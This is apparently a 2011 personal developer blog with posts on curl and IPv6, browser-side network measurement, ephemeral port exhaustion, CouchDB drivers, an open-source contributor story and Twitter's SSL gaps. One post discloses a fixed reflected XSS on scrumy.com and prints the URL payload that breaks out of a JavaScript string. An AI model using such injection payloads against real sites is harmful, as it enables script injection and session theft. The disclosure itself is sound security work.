[philiptellis] /bb|[^b]{2}/
Never stop Grokking


Sunday, December 11, 2011

Using curl with IPv6 addresses

Assuming you have a curl compiled with IPv6, if you wanted to hit a page using its IPv6 address rather than its hostname, you have to do it as follows:
curl "http://\[2600:xxx:yyy::zzz\]/page.html"
The square brackets are required to tell curl that it's an IPv6 address and not a host:port pair. The quotes are required to stop the shell from treating the square brackets as a glob. The backslash is required to stop curl from treating the square brackets as a range specification. The http:// is optional, but good form. This isn't required if you use a hostname or an IPv4 address.

Monday, December 05, 2011

Converting mp3s to wavs with mplayer

Yesterday I had to convert a few mp3 files to wavs. I also needed to crop them a bit on both ends. This is how I did it:
mplayer -ss 0.5 -endpos 1:14 -ao pcm:file="newfile.wav" oldfile.mp3
This is how it works: -ss says how many seconds of the file to skip at the start. If you don't know the time, but the number of bytes instead, use -sb instead. Note that -ss only works with seconds, but accepts fractional seconds. -endpos says at what point to stop playing. This accepts time as hh:mm:ss.ms or in bytes. If you specify only one number, it's seconds. -ao is a special instruction that specifies a plugin, and everything following the plugin are plugin specific options. pcm is the format for wave files. You could use any format you like. mplayer -ao help will tell you which codecs are supported. I haven't figured out all the suboptions for pcm yet.

Monday, November 14, 2011

Analysing network characteristics using JavaScript and the DOM, Part I

As Web developers, we have an affinity for developing with JavaScript. Whatever the language used in the back end, JavaScript and the browser are the primary language-platform combination available at the user’s end. It has many uses, ranging from silly to experience-enhancing.

In this post, we’ll look at some methods of manipulating JavaScript to determine various network characteristics from within the browser — characteristics that were previously available only to applications that directly interface with the operating system. Much of this was discovered while building the Boomerang project to measure real user performance.

What’s In A Network Anyway?

The network has many layers, but the Web developers among us care most about HTTP, which runs over TCP and IP (otherwise known jointly as the Internet protocol suite). Several layers are below that, but for the most part, whether it runs on copper, fiber or homing pigeons does not affect the layers or the characteristics that we care about.

Network Latency

Network latency is typically the time it takes to send a signal across the network and get a response. It’s also often called roundtrip time or ping time because it’s the time reported by the ping command. While this is interesting to network engineers who are diagnosing network problems, Web developers care more about the time it takes to make an HTTP request and get a response. Therefore, we’ll define HTTP latency as the time it takes to make the smallest HTTP request possible, and to get a response with insignificant server-processing time (i.e. the only thing the server does is send a response).

Cool tip: Light and electricity travel through fiber and copper at 66% the speed of light in a vacuum, or 20 × 108 metres per second. A good approximation of network latency between points A and B is four times the time it takes light or electricity to travel the distance. Greg’s Cable Map is a good resource to find out the length and bandwidth of undersea network cables. I’ll leave it to you to put these pieces together.

Network Throughput

Network throughput tells us how well a network is being utilized. We may have a 3-megabit network connection but are effectively using only 2 megabits because the network has a lot of idle time.

DNS

DNS is a little different from everything else we care about. It works over UDP and typically happens at a layer that is transparent to JavaScript. We’ll see how best to ascertain the time it takes to do a DNS lookup.

There is, of course, much more to the network, but determining these characteristics through JavaScript in the browser gets increasingly harder.

Measuring Network Latency With JavaScript

HTTP Get Request

My first instinct was that measuring latency simply entailed sending one packet each way and timing it. It’s fairly easy to do this in JavaScript:

var ts, rtt, img = new Image;
img.onload=function() { rtt=(+new Date - ts) };
ts = +new Date;
img.src="/1x1.gif";

We start a timer, then load a 1 × 1 pixel GIF and measure when its onload event fires. The GIF itself is 35 bytes in size and so fits in a single TCP packet even with HTTP headers added in.

This kinda sorta works, but has inconsistent results. In particular, the first time you load an image, it will take a little longer than subsequent loads — even if we make sure the image isn’t cached. Looking at the TCP packets that go across the network explains what’s happening, as we’ll see in the following section.

TCP Handshake and HTTP Keep-Alive

TCP handshake: SYN-ACK/SYN-ACK

When loading a Web page or image or any other Web resource, a browser opens a TCP connection to the specified Web server, and then makes an HTTP GET request over this connection. The details of the TCP connection and HTTP request are hidden from users and from Web developers as well. They are important, though, if we need to analyze the network’s characteristics.

The first time a TCP connection is opened between two hosts (the browser and the server, in our case), they need to “handshake” This takes place by sending three packets between the two hosts. The host that initiates the connection (the browser in our case) first sends a SYN packet, which kind of means, “Let’s SYNc up. I’d like to talk to you. Are you ready to talk to me?” If the other host (the server in our case) is ready, it responds with an ACK, which means, “I ACKnowledge your SYN.” And it also sends a SYN of its own, which means, “I’d like to SYNc up, too. Are you ready?” The Web browser then completes the handshake with its own ACK, and the connection is established. The connection could fail, but the process behind a connection failure is beyond the scope of this article.

Once the connection is established, it remains open until both ends decide to close it, by going through a similar handshake.

When we throw HTTP over TCP, we now have an HTTP client (typically a browser) that initiates the TCP connection and sends the first data packet (a GET request, for example). If we’re using HTTP/1.1 (which almost everyone does today), then the default will be to use HTTP keep-alive (Connection: keep-alive). This means that several HTTP requests may take place over the same TCP connection. This is good, because it means that we reduce the overhead of the handshake (three extra packets).

Now, unless we have HTTP pipelining turned on (and most browsers and servers turn it off), these requests will happen serially.

HTTP keep-alive

We can now modify our code a bit to take the time of the TCP handshake into account, and measure latency accordingly.

var t=[], n=2, tcp, rtt;
var ld = function() {
   t.push(+new Date);
   if(t.length > n) 
     done();
   else {
     var img = new Image;
     img.onload = ld;
     img.src="/1x1.gif?" + Math.random()
                         + '=' + new Date;
   }
};
var done = function() {
  rtt=t[2]-t[1];
  tcp=t[1]-t[0]-rtt;
};
ld();

With this code, we can measure both latency and the TCP handshake time. There is a chance that a TCP connection was already active and that the first request went through on that connection. In this case, the two times will be very close to each other. In all other cases, rtt, which requires two packets, should be approximately 66% of tcp, which requires three packets. Note that I say “approximately,” because network jitter and different routes at the IP layer can make two packets in the same TCP connection take different lengths of time to get through.

You’ll notice here that we’ve ignored the fact that the first image might have also required a DNS lookup. We’ll look at that in part 2.

Measuring Network Throughput With JavaScript

Again, our first instinct with this test was just to download a large image and measure how long it takes. Then size/time should tell us the throughput.

For the purpose of this code, let’s assume we have a global object called image, with details of the image’s URL and size in bits.

// Assume global object
// image={ url: "", size: "" }
var ts, rtt, bw, img = new Image;
img.onload=function() {
   rtt=(+new Date - ts);
   bw = image.size*1000/rtt;    // rtt is in ms
};
ts = +new Date;
img.src=image.url;

Once this code has completed executing, we should have the network throughput in kilobits per second stored in bw.

Unfortunately, it isn’t that simple, because of something called TCP slow-start.

Slow-Start

In order to avoid network congestion, both ends of a TCP connection will start sending data slowly and wait for an acknowledgement (an ACK packet). Remember than an ACK packet means, “I ACKnowledge what you just sent me.” Every time it receives an ACK without timing out, it assumes that the other end can operate faster and will send out more packets before waiting for the next ACK. If an ACK doesn’t come through in the expected timeframe, it assumes that the other end cannot operate fast enough and so backs off.

TCP window sizes for slow-start

This means that our throughput test above would have been fine as long as our image is small enough to fit within the current TCP window, which at the start is set to 2. While this is fine for slow networks, a fast network really wouldn’t be taxed by so small an image.

Instead, we’ll try by sending across images of increasing size and measuring the time each takes to download.

For the purpose of the code, the global image object is now an array with the following structure:

var image = [
	{url: ..., size: ... }
];

An array makes it easy to iterate over the list of images, and we can easily add large images to the end of the array to test faster network connections.

var i=0;
var ld = function() {
   if(i > 0)
      image[i-1].end = +new Date;
   if(i >= image.length)
      done();
   else {
      var img = new Image;
      img.onload = ld;
      image[i].start = +new Date;
      img.src=image[i].url;
   }
   i++;
};

Unfortunately, this breaks down when a very slow connection hits one of the bigger images; so, instead, we add a timeout value for each image, designed so that we hit upon common network connection speeds quickly. Details of the image sizes and timeout values are listed in this spreadsheet.

Our code now looks like this:

var i=0;
var ld = function() {
   if(i > 0) {
      image[i-1].end = +new Date;
      clearTimeout(image[i-1].timer);
   }
   if(i >= image.length ||
         (i > 0 && image[i-1].expired))
      done();
   else {
      var img = new Image;
      img.onload = ld;
      image[i].start = +new Date;
      image[i].timer =
            setTimeout(function() {
                       image[i].expired=true
                    },
                    image[i].timeout);
      img.src=image[i].url;
   }
   i++;
};

This looks much better — and works much better, too. But we’d see much variance between multiple runs. The only way to reduce the error in measurement is to run the test multiple times and take a summary value, such as the median. It’s a tradeoff between how accurate you need to be and how long you want the user to wait before the test completes. Getting network throughput to an order of magnitude is often as close as you need to be. Knowing whether the user’s connection is around 64 Kbps or 2 Mbps is useful, but determining whether it’s exactly 2048 or 2500 Kbps is much less useful.

Summary And References

That’s it for part 1 of this series. We’ve looked at how the packets that make up a Web request get through between browser and server, how this changes over time, and how we can use JavaScript and a little knowledge of statistics to make educated guesses at the characteristics of the network that we’re working with.

In the next part, we’ll look at DNS and the difference between IPv6 and IPv4 and the WebTiming API. We’d love to know what you think of this article and what you’d like to see in part 2, so let us know in a comment.

Until then, check out the references.

References

Tuesday, September 06, 2011

The Limits of Network Load Testing – Ephemeral Ports

I've been trying to run load tests against a node.js web app that I'm working on. I've hacked up my app to log (every 5 seconds) the number of requests per second that it handles and the amount of memory that it uses. I saw some strange numbers. I should also mention that I was using ab to throw load at the server. Perhaps not the best load tester around, but it served my purpose for this particular test.

My app started out well, handling about 1500 requests per second, but then all of a sudden it would stop serving requests. With repeated runs, the point where it would stop was always around 16K connections... in fact, it always hovered around 16384, mostly staying below, but sometimes going above it a bit (eg: 16400).

Ephemeral Ports

To those of you familiar with TCP networking, you'll recognise that value as the IANA specified number of Ephemeral Ports (49152 to 65535).

I started to log the state of all TCP connections every second using the following shell script (split onto multiple lines for readability):

while true; do
   echo -n "$( date +%s ) ";
   netstat | \
      awk '$4~/\.http-alt/ { conn[$6]++ }
           END {
              for(c in conn) {
                 printf("%s: %d\t", c, conn[c]);
              } 
              printf("\n");
           }
      ';
   sleep 1;
done
This is the output it returned:
1315341300 TIME_WAIT: 209	ESTABLISHED: 100	
1315341301 FIN_WAIT_1: 4	FIN_WAIT_2: 4	TIME_WAIT: 1892	ESTABLISHED: 92	
1315341302 FIN_WAIT_1: 1	FIN_WAIT_2: 2	TIME_WAIT: 3725	ESTABLISHED: 97	
1315341303 FIN_WAIT_2: 2	TIME_WAIT: 5426	ESTABLISHED: 97	
1315341304 FIN_WAIT_1: 1	FIN_WAIT_2: 5	TIME_WAIT: 7017	ESTABLISHED: 94	
1315341305 TIME_WAIT: 8722	ESTABLISHED: 100	
1315341306 FIN_WAIT_1: 2	TIME_WAIT: 10459	ESTABLISHED: 98	
1315341308 FIN_WAIT_1: 3	FIN_WAIT_2: 3	TIME_WAIT: 12246	ESTABLISHED: 94	
1315341309 FIN_WAIT_1: 7	TIME_WAIT: 14031	ESTABLISHED: 93	
1315341310 FIN_WAIT_1: 3	TIME_WAIT: 15937	ESTABLISHED: 97	
1315341311 TIME_WAIT: 16363	
1315341312 TIME_WAIT: 16363	
1315341314 TIME_WAIT: 16363	
1315341315 TIME_WAIT: 16363	
1315341316 TIME_WAIT: 16363	
1315341317 TIME_WAIT: 16363	
1315341318 TIME_WAIT: 16363	
1315341319 TIME_WAIT: 16363	
1315341321 TIME_WAIT: 16363	
1315341322 TIME_WAIT: 16363	
1315341323 TIME_WAIT: 16363	
1315341324 TIME_WAIT: 16363	
1315341325 TIME_WAIT: 16363	
1315341326 TIME_WAIT: 16363	
1315341328 TIME_WAIT: 16363	
1315341329 TIME_WAIT: 16363	
1315341330 TIME_WAIT: 16363	
1315341331 TIME_WAIT: 14321	
1315341332 TIME_WAIT: 12641	
1315341333 TIME_WAIT: 11024	
1315341334 TIME_WAIT: 9621	
1315341336 TIME_WAIT: 7516	
1315341337 TIME_WAIT: 5920	
1315341338 TIME_WAIT: 4227	
1315341339 TIME_WAIT: 2693	
1315341340 TIME_WAIT: 1108	
1315341341 TIME_WAIT: 23
There are a few things to note here.
  1. I ran ab with concurrency set to 100, so the number of connections in the ESTABLISHED, and FIN_WAIT_{1,2} states should be about 100 for the most part
  2. I was polling netstat once per second + the amount of time it took netstat to return, so you might notice missing seconds in between
  3. Requests were being handled at over 1000 per second, so many of the connections would have gone from the SYN_SENT state to TIME_WAIT in less than 1 second.

It's pretty clear here that everything just stops once the number of connections reaches 16363, and my app's logs confirm that. ab ends up timing out somewhere near the end of this report (which should probably be the subject of a different blog post).

Now if we look closely, we notice that it takes 30 seconds from the first result we see to when the number of connections in the TIME_WAIT state start dropping below 16363

TIME_WAIT

A few points should be noted about the TIME_WAIT state.
  1. Only the endpoint that sends the first FIN will end up in a TIME_WAIT state. I'll tell you later why this is important
  2. A connection remains in the TIME_WAIT state for twice the connection's MSL (See RFC793)

So we now have a whole load of TCP connections in the TIME_WAIT state and the client (the load tester) has run out of ephemeral ports to keep running the test. This is independent of the load tester used, and how it handles its sockets (poll, select, multiple threads, multiple processes, whatever). This is a limit imposed by the Operating System in order to comply with the TCP spec, and in general make sure the internet doesn't break.

Now there are various ways to get around this limit. The simplest is to just use multiple boxes to run your performance test all simultaneously hitting your server. The more boxes you use, the more likely it is that your server will break down before your client hits the port limit. But what if you don't have access to so many boxes (in a world without EC2 for example), or it's too expensive, or you're not utilising the other resources (CPU/RAM/Network Interface) on your client boxes and would like to get a little more out of them?

You could program your load tester to use SO_REUSEADDR, which would allow it to reuse sockets that are in the TIME_WAIT state, but that could backfire if there's still data on the network.

MSL

Now remember that TIME_WAIT is twice the MSL. RFC793 recommends setting the MSL to 2 minutes, which would leave TIME_WAIT at 4 minutes. Luckily no current implementation uses this value. Linux has its TIME_WAIT length hardcoded to 60 seconds (implying a 30 second MSL), while BSD has set to 15 seconds (sysctl net.inet.tcp.msl) and tunable at run time.

To verify, I reran the test after setting the MSL to 5 seconds:

sudo sysctl -w net.inet.tcp.msl=5000

And these were the results:

1315344661 TIME_WAIT: 1451	ESTABLISHED: 100	
1315344662 FIN_WAIT_2: 5	TIME_WAIT: 3272	ESTABLISHED: 95	
1315344664 FIN_WAIT_1: 1	TIME_WAIT: 5010	ESTABLISHED: 99	
1315344665 TIME_WAIT: 6574	ESTABLISHED: 100	
1315344666 FIN_WAIT_1: 11	FIN_WAIT_2: 2	TIME_WAIT: 7908	ESTABLISHED: 87	
1315344667 TIME_WAIT: 9689	ESTABLISHED: 100	
1315344668 TIME_WAIT: 11155	ESTABLISHED: 100	
1315344669 FIN_WAIT_1: 3	TIME_WAIT: 12522	ESTABLISHED: 97	
1315344671 FIN_WAIT_2: 2	TIME_WAIT: 13655	ESTABLISHED: 98	
1315344672 FIN_WAIT_1: 4	FIN_WAIT_2: 12	TIME_WAIT: 13847	ESTABLISHED: 84	
1315344673 FIN_WAIT_1: 2	TIME_WAIT: 13218	ESTABLISHED: 98	
1315344674 FIN_WAIT_1: 2	TIME_WAIT: 13723	ESTABLISHED: 97	
1315344675 FIN_WAIT_1: 2	TIME_WAIT: 14441	ESTABLISHED: 98	
1315344677 FIN_WAIT_1: 4	FIN_WAIT_2: 6	TIME_WAIT: 13946	ESTABLISHED: 90	
1315344678 FIN_WAIT_1: 3	FIN_WAIT_2: 15	TIME_WAIT: 14670	ESTABLISHED: 82	
1315344679 FIN_WAIT_1: 2	TIME_WAIT: 15164	ESTABLISHED: 98	
1315344680 FIN_WAIT_1: 2	TIME_WAIT: 15062	ESTABLISHED: 98	
1315344681 TIME_WAIT: 15822	ESTABLISHED: 100	
1315344683 FIN_WAIT_1: 4	TIME_WAIT: 15855	ESTABLISHED: 82	
1315344684 FIN_WAIT_1: 15	TIME_WAIT: 15506	ESTABLISHED: 84	
1315344685 FIN_WAIT_2: 9	TIME_WAIT: 15928	ESTABLISHED: 91	
1315344687 FIN_WAIT_1: 4	TIME_WAIT: 15356	ESTABLISHED: 96	
1315344688 FIN_WAIT_1: 2	FIN_WAIT_2: 8	TIME_WAIT: 15490	ESTABLISHED: 90	
1315344689 FIN_WAIT_1: 1	TIME_WAIT: 15449	ESTABLISHED: 99	
1315344690 FIN_WAIT_1: 3	TIME_WAIT: 15801	ESTABLISHED: 97	
1315344692 FIN_WAIT_1: 1	TIME_WAIT: 15882	ESTABLISHED: 70	
1315344693 FIN_WAIT_1: 3	TIME_WAIT: 16106	ESTABLISHED: 56	
1315344694 FIN_WAIT_1: 3	TIME_WAIT: 15637	ESTABLISHED: 2	
1315344695 TIME_WAIT: 14166	
1315344697 TIME_WAIT: 12588	
1315344698 TIME_WAIT: 10454	
1315344699 TIME_WAIT: 8917	
1315344700 TIME_WAIT: 7441	
1315344701 TIME_WAIT: 5735	
1315344702 TIME_WAIT: 4119	
1315344703 TIME_WAIT: 1815	
1315344704 TIME_WAIT: 88	

The test runs longer here because it actually gets to 50000 connections. We're doing about 1500 requests per second, so it would take just under 11 seconds to exhaust all 16384 ports, but since ports are reusable in 10 seconds, we would have reclaimed the first 3000 ports in this time and then just continue to use them.

Here's the catch though, you can only do this on BSD. Linux doesn't let you change the MSL. Also, DO NOT DO THIS IN PRODUCTION!

TIME_WAIT, FIN and HTTP keep-alive

Now I mentioned earlier that only the endpoint that sends the first FIN packet will enter the TIME_WAIT state. This is important because in production, you really do not want your server to end up with a lot of connections in the TIME_WAIT state. A malicious user could, for example, make a large number of HEAD requests to your server, and either wait for them to terminate, or specify Connection:close but leave the connection open for your server to close by sending the first FIN packet.

How do you deal with this?

Thursday, July 14, 2011

CouchDB drivers for NodeJS

I've been looking at writing some code in NodeJS, and wanted to use CouchDB as the data store (note, I don't have relational data). I've come across the following libraries, all coincidentally on github.
  • couch-client
  • cradle
  • noddycouch
  • node-couch
  • node-couchdb
  • node-couchdb-min
At this point I've only looked at the documentation, so I don't have a detailed idea of which I'd use. If you have your own favourites, please mention them in the comments.

couch-client

The documentation seems reasonably rich, and it has all the methods that I'd like to use. My only concern at this point is that it batches up writes. This may not be ideal for my particular use case, but it isn't a show stopper.

There are no installation/setup docs, so I assume I've got to clone the github repo to get it.

cradle

I've been impressed with cradle's docs so far, and it's also available through npm, which is a plus. It also distinguishes between creating a document with and without an id, which may be required in my use case.

Lastly, cradle mentions an SSL use case, which I think is important. The other libraries may also have SSL support, but they don't explicitly call it out.

noddycouch

No docs available, but example.js has code examples on how to use it.

node-couch

Again, no docs available, except to say that it was inspired by the jQuery module for NodeJS.

node-couchdb

Very good documentation and seems to be a very thorough API, but the owner says he isn't maintaining the package any more. That's a big downside.

node-couchdb-min

This appears to be a minimal version of node-couchdb.

Friday, June 17, 2011

NavigationTiming, IPv6, Instant Pages and other goodies in boomerang

There have been many additions to boomerang over the last few months. Among them include:
  • Full navigation timing API support added by Buddy Brewer (@bbrewer)
  • Measure IPv6 support and latency with the ipv6 plugin
  • Measure the performance of "Instant Pages" in Google Chrome (v13+)

NavigationTiming

With the navtiming.js plugin, boomerang will beacon back the entire navigation timing object for browsers that support it (Chrome 6+ and IE 9+ and Firefox 6+ at this time). Use this information to gain far more insight into the user's browsing experience.

Docs here: http://yahoo.github.com/boomerang/doc/api/navtiming.html and here: http://yahoo.github.com/boomerang/doc/howtos/howto-9.html

IPv6

World IPv6 day is past, but IPv6 support still isn't universal. The ipv6.js plugin will help you find out if your users can access content over IPv6 and how that latency compares to whatever you currently provide. This does require server side setup though.

Docs here: http://yahoo.github.com/boomerang/doc/api/ipv6.html

Instant Pages

Google Chrome 13 has taken Mozilla's prefetch technology to the next level, introducing "prerender" -- a method to download and render the most likely next page before the user clicks on it, giving the appearance of the page loading Instantly when the user does click.

Boomerang is now prerender aware, and will check to see if a page was loaded through prerender or not. If it was, then boomerang measures a few more interesting times like the actual load time, the perceived load time, and the time from prerender completing to the page becoming visible.

Caveat: The measurement code causes current builds of Chrome 13 to crash. This bug appears to have been fixed in the nightlies (Chrome 14 Canary).

Docs here: http://yahoo.github.com/boomerang/doc/howtos/howto-10-page%231.html

Saturday, June 04, 2011

Almost right is not right enough

I was recently pointed to scrumy.com by a group that wants to use the scrum agile method. A quick look around the site showed that they were doing a lot in JavaScript. In particular, they took the name of the current scrum (or sprint if you prefer) from the URL and wrote it into the HTML, JavaScript and a few URLs. So, if your sprint were named hello-dolly, your URL would be http://scrumy.com/hello-dolly/

Here's the sad part... they almost got their filtering right. When written into the HTML, they correctly encoded used HTML entities and when written into URLs, they correctly URI encoded the data. They even did this for URIs that were written into JavaScript variables.

Where they didn't encode, was a JavaScript variable not used in any of these contexts. A small part of their JavaScript for the hello-dolly example reads like this:
window.projectName="hello-dolly";
Change the URL to http://scrumy.com/%22%3balert(0)%3b%22 and this is what gets written into the page:
window.projectName="";alert(0);"";
Resulting in an XSS.

Now I only looked at a single page on the site, so can't comment on whether there are more holes or not.

I emailed them as soon as I found the bug and a few hours later it was fixed. Good job folks!

Thursday, May 05, 2011

The story of George — ayttm's most prolific non-developing contributor

An Introduction

In late April 2008, we received an email[1] on the ayttm-users mailing list. It was from George, which wasn't a name I'd ever seen on the list before, and it was about something called Puppy Linux[2], a distribution I'd never heard of before. He started out with a description of the distro, stating that he was a user, and had picked up ayttm[3] based on the suggestion of the creator of Puppy Linux on their chatroom.

As part of his introduction, he included this paragraph:
I am very new to all this. Although I was a programmer years ago, I was away from computers for about 20 years. I have been on the internet for about 14 months - with no previous internet experience. I got Puppy Linux up and running less than 6 months ago - no previous linux / unix experience. I've been using chat rooms about two months - again with no previous experience. I only use irc.FreeNode.net and I access almost exclusively the Puppy Linux chat rooms.

I need to give you this background so that you will know that there is a very good chance that I will think the program needs work when the truth is that the user's inexperience is the real problem.
He proceeded to explain how he uses IRC, first with xchat[4], and then with ayttm. He went into great detail, starting from how he launched the program to how he got to his final intended task, how much time it took him to cover each task, the problems he saw along the way, the kind of internet connection he was using, and finally some suggestions and opinions. For each of them he explained how it would help him and others like him, and how important it was to him relative to the other problems he saw.

He closed telling us that he was really happy with ayttm, inspite of the problems he faced, and if we could fix the problems he listed, it could become a core part of the Puppy Linux distribution.
... I am amazed at the level of functionality you have put into a small package. Please keep up the good work.

I hope you find something of use in all this,

George
In all, his email worked out to 5 printed pages.

I thanked him for his report. It was easily the best problem report we'd ever received on ayttm. All past reports read something like, "Foo doesn't work for me", and were typically no longer than 3 lines, and included no description of the environment under which it was run.

George's message included a lot of detail of the problem itself, but it was composed in a very friendly, almost self-deprecating tone, suggesting that it's quite possible that all the problems he sees are really PEBKACs[5]. He never once sounded condescending, or as if he was doing us a service by writing up this report, and he threw just enough flattery to make us feel good, but not too much that we felt he was trying to play us. Most importantly, he'd by far put more effort into writing the report than any other bug reporter had.

He didn't pester us further to find out whether we were going to implement what he asked, or when it was going to be done, but he stayed in touch on the fringe, playing ayttm representative on the puppy linux forums.

In the meanwhile, Barry, the author of Puppy Linux sent us a few patches.

I should mention here, that since ayttm implemented the Yahoo! Messenger protocol, and I was (and still am) employed at Yahoo!, I couldn't contribute any code to the project (I'd worked on ayttm from the start before joining Yahoo!), however, as all the problems George reported related to IRC, an open protocol that predated Yahoo! by a long time, it was deemed okay for me to support this part of the effort with design comments, code reviews and some amount of requirements analysis. This meant that Siddhesh, the only developer at the time, could spend all his time hacking.

Siddhesh spent some time rewriting all of IRC support, and passed on an alpha to George and Barry to test. About a week later, George got back to us with a complete log of his IRC session running ayttm in debug mode. It was now early June.

Rejection

We also started chatting on IRC around that time, and he said he wanted to do more than just file bug reports and send in debug logs. He used to be a programmer, and though the language was different, the logic's more or less the same.

I told him which source file he could look at to find the feature that bugged him the most, and he sent in his first patch a little while later. It looked like this:
- /* get list of channels */
-       ret = sendall(ila->fd, "LIST\n", strlen("LIST\n"));
- 
+ /* get list of channels  commented out GWB per PST 7Jun2008
+  *    ret = sendall(ila->fd, "LIST\n", strlen("LIST\n"));
+  * 
+  * and following line added
+  */
+    irc_finish_login(ila);
Not a big deal you might think. It actually cuts out a feature in fact. But what it really does, is allow someone to use ayttm for IRC without timing out. So, sure, he used spaces instead of tabs for indentation, but that was fine. The most important thing is that he was now so invested in this, and he'd got his foot in the door, he didn't want to stop.

His patch was not accepted, and Siddhesh explained why (it broke the room list dialog), but Siddhesh also had an alternate fix for the problem that he asked George to test.

Come back

Many new developers get turned off at this point. It takes a lot of effort to create your first patch, and a lot of self-confidence to group of people that you know only by their mystical handles and semi revere for doing things that you can't. Getting a rejection at that point can set you back on both counts. Not George. We chatted some more, and he set to work on the next thing that bugged him. This is what he posted to the list:
... I have made some changes to offline_queue_mgmt.c. The diff file is attached.

Bluesmoon says that with my changes he always gets auto logged in. My own results are more random, although I sometimes get autolog. I suspect Ayttm? recognizes bluesmoon by his keyboard touch and remembers him fondly ( he is a former Ayttm? developer ), and treats him better than me.
Again, there's that bit of humour in there that suggests he's having fun doing this. Happy developers write good code. His patch got in.

Now in mid-June, he sent an update[6] on the status of his tests, this time addressed at Siddhesh:
Siddhesh,

As you know, I have been downloading the latest source and testing it almost as quickly as you commit. I have been testing your tagged branch libirc-mod. I thought I'd take a minute to document the current Ayttm? status....

The name

Apart from his first email to us, George always put a question mark at the end of Ayttm. He now suggested that we add the question mark permanently as part of the name as an allusion to what it stands for ("Are you talking to me?"). Neither Siddhesh, nor I thought it was a good idea because as it turns out, many fonts use the ? character when they don't have a glyph to display for a particular character (others use a box), and we didn't want to confuse users with this. Another rejection of George's ideas, but he realised that while we were turning down his ideas, we weren't turning him down.

One thing that a lot of individuals forget about when communicating over email, IM or IRC, is that the person with the idea is not the same as the idea. This holds for both, the individual with the idea, and the individuals reacting to it. I've seen too many cases where either the person proposing an idea was attacked because the idea wasn't liked, or the person proposing the idea took a rebuttal of their idea too personally and thought that everyone hated them. George didn't have these notions, and his attitude in email made it impossible for us to feel any animosity towards him.

The Pup

In July, George posted this message[7] to the list:
This was just posted on the Puppy Linux lead developer's blog.

Ayttm will be builtin in the next alpha release of Puppy Linux.

Feels like a big win to me - I don't know why - I didn't write it.
Indeed, George was way more pleased than we were. I'd guess it had to do with seeing two projects that he cared deeply about getting so closely coupled. Almost like watching two of your close friends getting hitched. The ayttm dev team still knew very little about Puppy Linux (I was a RHEL & Ubuntu user, and Siddhesh worked at RedHat). George, on the other hand, made it happen.

George turned into our liaison on the Puppy Linux forums. He'd collect bug reports from Puppy Linux users, verify them and then pass them on to the ayttm bug tracker on sourceforge. We chatted quite a bit over the next few months about new features he wanted to add and bugs he wanted fixed, what he thought of the changes. At one point I suggested that he speak about his experiences with ayttm at a conference[8] in India. Siddhesh and some of the other developers were doing talks of their own. He considered it, but decided against it because of his age.

It was only then that I found out how old he was. I won't reveal that here since it was in a private conversation, but I have a fair way to go before I get there, and I hope I'm as enthusiastic as he is when I do.

I haven't heard from George in a while, but I've also stopped monitoring the ayttm bug tracker, so perhaps he's active there.

I should also mention as an afterthought, that even though I've referred to George as "he" throughout this post, I don't actually know if I was speaking with a man or a woman. It never came up, it was never important, and knowing it wouldn't have changed anything. I assumed he was a man because George is most commonly a man's name. Back in India, the only time I'd ever heard of George as a girl's name was in Enid Blyton's Famous Five[9]. And in that, I learnt another lesson from George.

When it comes to hacking on opensource software, none of age, gender, race, country of origin, or how you look matters. All that matters is a pleasant attitude to your fellow developers, a willingness to keep at it and learn as you go, the drive to not give up when things don't go your way, and the ability to tell the difference between an idea and the one who has it.

Thanks George. To answer your first email, yes I did find much of use in this.

References

  1. George's first email to ayttm-users. Yes, we use sourceforge. It's not pretty, but it's all we had at the time.
  2. Puppy Linux, a small, fast and easy to use linux distro
  3. Ayttm - Are you talking to me? A universal instant messenger for unix
  4. xchat an IRC chat client for X.
  5. PEBKAC in the Jargon File.
  6. George's update on June 19, 2008.
  7. Ayttm on Puppy Linux. In July, George announced that ayttm had become part of Puppy.
  8. FOSS.IN - India's largest community run conference on free and opensource software.
  9. Enid Blyton, The Famous Five. 1942-1963.

Monday, May 02, 2011

Twitter, SSL and #poopin

Watching the twitter feed about #jsconf shows a lot of people tweeting about #poopin. Turns out that someone's been stealing twitter cookies using a firesheep like tool and tweeting on their behalf. The tweets aren't malicious in nature, and are geared more at educating the user about the need to use SSL or some kind of encrypted tunnel when tweeting over untrusted wireless connections.

Here's the problem. Even people who do know the risks, and take the trouble to use twitter over SSL will get caught because of certain bugs with twitter's handling of their SSL pages.

If you visit https://mobile.twitter.com/, this is what you'd get: (shown in a browser so I could hilight the URL bar)

Click Sign in and this is what you get:

Sign in, and this is what you get:

Notice that the post sign-in URL is no longer https, but is now http.

At various points of time, trying this through my mobile phone, I get redirected from an https site to an http site when I do some of the following:
  • Replying to a tweet
  • Replying to a direct message (seems to be fixed)
  • Retweeting (with/without? JavaScript)

If you search through the page source on https://mobile.twitter.com/ for the string "http://", you'll find a few instances in comments, but then these interesting ones in a JSON object:
"twitterApiBase":"http://api.twitter.com"
"apiBase":"http://api.local.twitter.com:9000"
"twitterBase":"http://twitter.com"
"mobileBase":"http://mobile.twitter.com"
I haven't examined the code in detail to see how these are used, but it seems to suggest that at least some calls are going out over http, and since they're all on the twitter.com domain, your twitter cookies get sent along.

Now this is only the twitter mobile website. Mobile clients could be another matter, and the desktop site could also have problems. I haven't tested. Personally, I try to either use a VPN, or only tweet using SMS, but I have been caught by something like this before (at FOSS.IN/2010) which is when I started to study the problem.

Also, it doesn't matter if you've configured twitter to always use HTTPS. It still has this problem.

Sunday, April 24, 2011

pngtocss and getting back to basics

A couple of days ago Nicole tweeted about the absence of a tool to convert images to gradients. I didn't see the tweet right away because I was asleep at the time, but Sergey retweeted it later under the @perfplanet account and I caught that.

My first thought was that there really must be something like that. Why not just use the gimp's colour picker or something. My second thought was, "what the heck are CSS gradients?" followed closely by, "I've never read a PNG in C before".

Back to basics

All of this brought up a sense of déjà vu back to 1999, to the birth of my first opensource project. That started out with someone on the ilug-bom mailing list asking how he could find out which server was running on a given host. I started to type out an explanation and then figured that it would take me less time to hack up a solution in perl, so I did, and httptype was born.

Yesterday was very similar, the only real difference being that this time I knew how to use version control, so I jumped in with:
mkdir pngtocss
cd pngtocss
git init
mkdir src
And then started on a bit of research. First to find out how to read in a PNG.

Reading in a PNG

libpng.org has a great book on using the libpng library. It's a long book and I'm a lazy dev, so I didn't read the whole thing. Instead I found the Chapter that dealt specifically with reading a PNG into memory. It turned out to be Chapter 13. Now when I say "I found", I really mean that Yahoo! found it for me.

Anyway, I read the doc and it was pretty straightforward, so I jumped right into writing code, but guess what? My C programming skills were rusty. My Makefile skills more so. Having man at hand helped things move along and I was soon up to speed.

Once I had an in-memory array of the image's pixels, I had to figure out how to write out the CSS.

CSS gradients

